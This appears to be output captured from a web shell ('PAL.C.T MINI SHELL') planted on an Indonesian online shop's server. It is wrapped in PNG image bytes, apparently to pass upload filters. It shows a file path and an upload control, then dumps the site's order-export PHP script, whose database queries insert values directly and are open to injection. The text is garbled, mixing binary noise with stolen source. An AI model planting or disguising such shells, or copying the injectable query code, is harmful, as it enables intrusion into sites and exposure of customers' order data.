php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/ownergs/modul/mod_order35/
upload
files >> /var/www/html/ownergs/modul/mod_order35/eksport3.php

<?php

include "../../../config/koneksi.php";
function format_rupiah($angka){
  $rupiah=number_format($angka,0,',','.');
  return $rupiah;
}

  
// nama file
$namaFile = "list_produk.xls";

// Function penanda awal file (Begin Of File) Excel

function xlsBOF() {
echo pack("ssssss", 0x809, 0x8, 0x0, 0x10, 0x0, 0x0);
return;
}

// Function penanda akhir file (End Of File) Excel

function xlsEOF() {
echo pack("ss", 0x0A, 0x00);
return;
}

// Function untuk menulis data (angka) ke cell excel

function xlsWriteNumber($Row, $Col, $Value) {
echo pack("sssss", 0x203, 14, $Row, $Col, 0x0);
echo pack("d", $Value);
return;
}

// Function untuk menulis data (text) ke cell excel

function xlsWriteLabel($Row, $Col, $Value ) {
$L = strlen($Value);
echo pack("ssssss", 0x204, 8 + $L, $Row, $Col, 0x0, $L);
echo $Value;
return;
}

// header file excel

header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0,
        pre-check=0");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");

// header untuk nama file
header("Content-Disposition: attachment;
        filename=".$namaFile."");

header("Content-Transfer-Encoding: binary ");

// memanggil function penanda awal file excel
xlsBOF();

// ------ membuat kolom pada excel --- //

xlsWriteLabel(0,0,"Invoice (No. Order)");               

xlsWriteLabel(0,1,"Tanggal / Jam");              

xlsWriteLabel(0,2,"Nama Customer");   

xlsWriteLabel(0,3,"Total Pembelian"); 

xlsWriteLabel(0,4,"Status Order"); 

xlsWriteLabel(0,5,"Keterangan"); 


// -------- menampilkan data --------- //

// query menampilkan semua data

$query = mysql_query("SELECT * FROM gs_orders,kustomer 
                                 WHERE gs_orders.id_kustomer=kustomer.id_kustomer
                                 AND gs_orders.status_order != 'Order'
                                 AND gs_orders.status_order != 'Order1' ");

// nilai awal untuk baris cell
$noBarisCell = 1;

// nilai awal untuk nomor urut data
$noData = 1;

while ($r = mysql_fetch_array($query))
{

$daftarproduk=mysql_query("SELECT * FROM gs_orders_detail 
                                 WHERE id_orders = '$r[id_orders]'");
        
$no=1;
while ($d=mysql_fetch_array($daftarproduk)){

   $rs = mysql_fetch_array(mysql_query("SELECT * FROM gs_produk WHERE id_produk = '$d[id_produk]' "));
      $nama_produk = $rs[nama_produk];
    
   $harga_tampil = $rs[harga];
   $subtotal     = $harga_tampil * $d[jumlah];
   $total        = $total + $subtotal;


   $subtotal_rp = format_rupiah($subtotal);    
      
   $harga       = format_rupiah($harga_tampil);

   $no++;
   $NPN = $d['NPN'];
}
   $total = $total + $r[biaya_kirim];

if($NPN == "NPPN")
   {  
      $status_NPN = "Orderan tanpa PPN 10%";
      
          $total_rp_awal = format_rupiah($total);
            $total_rp_net = $total;
            $total_hitung = format_rupiah(ceil($total_rp_net / 11));
            $total = $total / 1.1;
            $total_rp_akhir = "Rp. <b>".format_rupiah($total).",-</b>";
            $perhitungan = "($total_hitung,-)";
            $keterangan = "Harga belum termasuk PPN";
            $grand_total = "<b>Total</b> (Tanpa PPN)";
          $button_next = "<a href='selesai-belanja-NPPN.html' class='btn btn-success'> Selesai Belanja </a>";
          $ket = "(harga belum termasuk PPN)";
          $ket_ppn = "<b>PPN</b>";     
          $total_tampil =   $total_rp_akhir;
   }
   else{
      $status_NPN = "Orderan termasuk PPN 10%";
          $total_rp_awal = format_rupiah($total);
          $keterangan = "Harga sudah termasuk PPN";
          $button_next = "<a href='selesai-belanja-PPN.html' class='btn btn-success'> Selesai Belanja </a>";
          $ket = "(harga termasuk PPN)";
          $total_tampil =   "Rp. ".$total_rp_awal.",-";
   }

$grandtotal    = $total ; 
$grandtotal_rp  = format_rupiah($grandtotal);  

$biaya_kirim    = $r[biaya_kirim];
$biaya_kirim_rp = format_rupiah($r[biaya_kirim]);

$total_akhir    = $total + $biaya_kirim;
$total_rp_akhir = format_rupiah($total_akhir);

   xlsWriteNumber($noBarisCell,0,$r['id_orders']);

   xlsWriteLabel($noBarisCell,1,"$r[tgl_order] / $r[jam_order]");

   xlsWriteNumber($noBarisCell,2,$r['nama_lengkap']);
 
   xlsWriteLabel($noBarisCell,3,$total_rp_akhir);

   xlsWriteLabel($noBarisCell,4,$r['status_order']);

   xlsWriteLabel($noBarisCell,5,$r['keterangan']);
//   xlsWriteLabel($noBarisCell,5,$data['comment']);
//   xlsWriteLabel($noBarisCell,6,$data['source']);

   // increment untuk no. baris cell dan no. urut data
   $noBarisCell++;
   $noData++;
}

// memanggil function penanda akhir file excel
xlsEOF();
exit();

//header('location:../../media.php?module=exim');

?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`